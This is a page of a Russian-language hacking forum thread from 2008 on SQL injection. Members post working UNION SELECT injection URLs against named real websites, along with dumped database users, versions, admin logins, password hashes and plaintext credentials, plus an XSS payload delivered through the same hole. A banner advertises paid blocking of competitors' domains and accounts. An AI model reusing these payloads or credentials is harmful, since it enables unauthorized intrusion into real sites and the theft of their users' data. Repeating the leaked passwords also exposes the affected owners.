SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 432 из 1602

432

Опции темы

Поиск в этой теме

Опции просмотра

08.01.2008, 04:05

SWAT

Участник форума

Регистрация: 14.12.2006

Сообщений: 211

С нами: 10214321

Репутация: 552

Код:

http://www.teasetrip.com/tnews.php?op=tnews&id=-447+union+select+1,2,3,4,5,concat(login,0x3a,pass),7,8,9,10,11+from+users+limit+1,1/*

Код:

http://www.actupix.net/tnews.php?op=tnews&id=-56+union+select+1,2,3,4,5,concat(login,0x3a,pass),7,8,9,10,11,12+from+users/*

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось SWAT; 08.01.2008 в 04:11..

08.01.2008, 05:24

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,315

С нами: 10248806

Репутация: 2371

http://vmashine.ru - В Машине.ру

Настройки своей страницы -> Управление автомобилями -> Добавление автомобиля -> Самое первое поле <options> так вот все value у <select> не фильтруются....заменяем value у любого параметра каким-нибудь firebug'om на -1 или '+blabla , ну вообщем все как делаете обычно только пост запросами....

Еще можно узнать локальный путь через сессии....подрезав их (c) ettte

08.01.2008, 06:34

Ded MustD!e

Members of Antichat - Level 5

Регистрация: 23.08.2007

Сообщений: 417

С нами: 9851426

Репутация: 3908

http://www.cultura.usb.ve/

Код:

http://www.cultura.usb.ve/noticia.php?id=-1+union+select+1,2,3,convert(concat_ws(0x3a,user(),database(),version())+using+latin1),5,6,7,8,9,10,11/*

http://www.davidluna.com.ve/

Код:

http://www.davidluna.com.ve/index.php?ID=-1+union+select+1,2,concat_ws(0x3a,login,password),4,5,6+from+login/*

http://www.forosocialmundial.org.ve/

Код:

http://www.forosocialmundial.org.ve/noticia_mas.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10/*

http://www.tiburonesdelaguaira.com.ve/

Код:

http://www.tiburonesdelaguaira.com.ve/mostrar_noticia.php?id=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12+from+information_schema.tables+limit+0,1/*

http://www.vaspuntofijo.com.ve/

Код:

http://www.vaspuntofijo.com.ve/repuestos.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version())/*

http://galeria.uc.edu.ve/

Код:

http://galeria.uc.edu.ve/noticias.php?id=-1+union+select+1,concat_ws(0x3a,user,password),3,4+from+mysql.user/*

root:*822F83E1D728CFD3D28DC5D309DE95F0EAC258E9

08.01.2008, 11:38

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

С нами: 10065986

Репутация: 785

turkystan.kz

Код HTML:

http://www.turkystan.kz/page.php?page_id=36&id=-1526+union+select+0,USER(),VERSION(),DATABASE()/*

USER:turkesdb@hosting.isd.kz
VERSION:4.1.22
DATABASE:turkesdb

Код HTML:

http://www.turkystan.kz/page.php?page_id=36&id=-1526+union+select+0,concat(ID,0x3a,login,0x3a,password),2,3+from+users/*

Таблица - users
Поля - id,login,password

1:admin:51a71aa84f5e79ad

XSS через SQL)

Код HTML:

http://www.turkystan.kz/page.php?page_id=36&id=-1526+union+select+0,'%3Cscript%3Ealert(/XSS/)%3C/script%3E',2,3+from+users/*

08.01.2008, 13:42

~~ThreeD~~

Banned

Регистрация: 25.12.2006

Сообщений: 179

С нами: 10198073

Репутация: 354

www.topwebhosts.org

Цитата:

http://www.topwebhosts.org/directory/view-host.php?id=-66+union+select+1,2,3,concat_ws(0x3A3a,version(),d atabase(),user()),5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27/*

5.0.22::topwebhosts::apache@localhost

08.01.2008, 15:00

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

С нами: 9799586

Репутация: 1385

Цитата:

http://www.alexterp.ru/index.php?page=-204+union+select+concat(table_name,0x3a3a3a),2,3,4 +from+information_schema.tables+limit+0,1/*

5.0.45-log
но в базе ничо с пасами не нащёл
----------------------------------------------------------------------
www.travelhit.pl

Цитата:

http://www.travelhit.pl/kontakt/?category=2'+union+select+1,2,concat(login,0x3a,pa sswd),4,5+from+xml_providers/*

5.0.45-community
hermantravel:merLINxLasT
но он никуда не подошёл
есть :
http://www.travelhit.pl/admin
http://www.travelhit.pl/cpanel
----------------------------------------------------------------------

Цитата:

http://eurowizja.org/almanach.php?akcja=rocznik&rok=-2001+union+select+1,2,3,table_name,column_name,6,7 ,8,9,0,1,2,3,4,5,6+from+information_schema.columns/*

5.0.45-community

Цитата:

http://eurowizja.org/almanach.php?akcja=rocznik&rok=-2001+union+select+1,2,3,concat_ws(0x3a,login,kod,e mail,gg,cos4),5,6,7,8,9,0,1,2,3,4,5,6+from+members/*

куча всякой дряни на их родном языке ((
----------------------------------------------------------------------

Цитата:

http://www.euro.deal.pl/08_news.php?id=149100+union+select+1,2,3,4,5,6,con cat_ws(0x3a,login,kod,email,gg,cos4),8,9,0,1,2,3,4 ,5,6+from+members/*

5.0.45-community

08.01.2008, 16:46

v1ru$

Постоянный

Регистрация: 17.03.2007

Сообщений: 336

С нами: 10080326

Репутация: 576

Код:

http://www.compasspoint.org/boardcafe/details.php?id=805+union+select+1,2,aes_decrypt(aes_encrypt(concat(user(),0x3a,version(),0x3a,database(),0x71),0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

compasspoint@localhost:4.1.11-Debian_4sarge7-log:compasspointq

Код:

http://www.hornets247.com/post.php?id=37007+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5/*

4.0.27maxlog:hornets247_v4_0:hornets247_v4_0@linho st194.prod.mesa1.secureserver.net

Код:

http://skyscrapernews.com/buildings.php?id=223+order+by+229/*

229 столбцов)))

Последний раз редактировалось v1ru$; 08.01.2008 в 17:45..

08.01.2008, 18:03

je0n

Постоянный

Регистрация: 14.05.2006

Сообщений: 334

С нами: 10522103

Репутация: 272

Цитата:

http://www.natria.ru/news.php?list=-18+union+select+1,database(),user(),4,version()/*

zarva2@localhost
4.0.18-standard
db_zarva2

ниче выжать не удалось

08.01.2008, 19:05

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

С нами: 9949072

Репутация: 237

Код:

http://www.hogwartsnet.ru/fanf/member.php?id=-1653+union+select+concat_ws(0x2F,version(),id,name,password),2,3,4,5,6,7,8,9+from+u45544_ipbd.ipbd_forums/*

Version 5.0.46

#10

08.01.2008, 19:17

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

С нами: 9949072

Репутация: 237

http://team-rs.ru

Код:

http://team-rs.ru/member.php?id=-24+union+select+1,2,3,4,concat_ws(0x2F,id,login,password),6,version(),8,9,10+from+dtool_users/*

Version : 5.0.45-log/u13952@10.10.10.218/u13952

login / password

30VC06T0 / 2A3TFH5A
4YYH6M58 / 5M42I233

Страница 432 из 1602

432

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)

Быстрый переход

Home

Help

Terms and Rules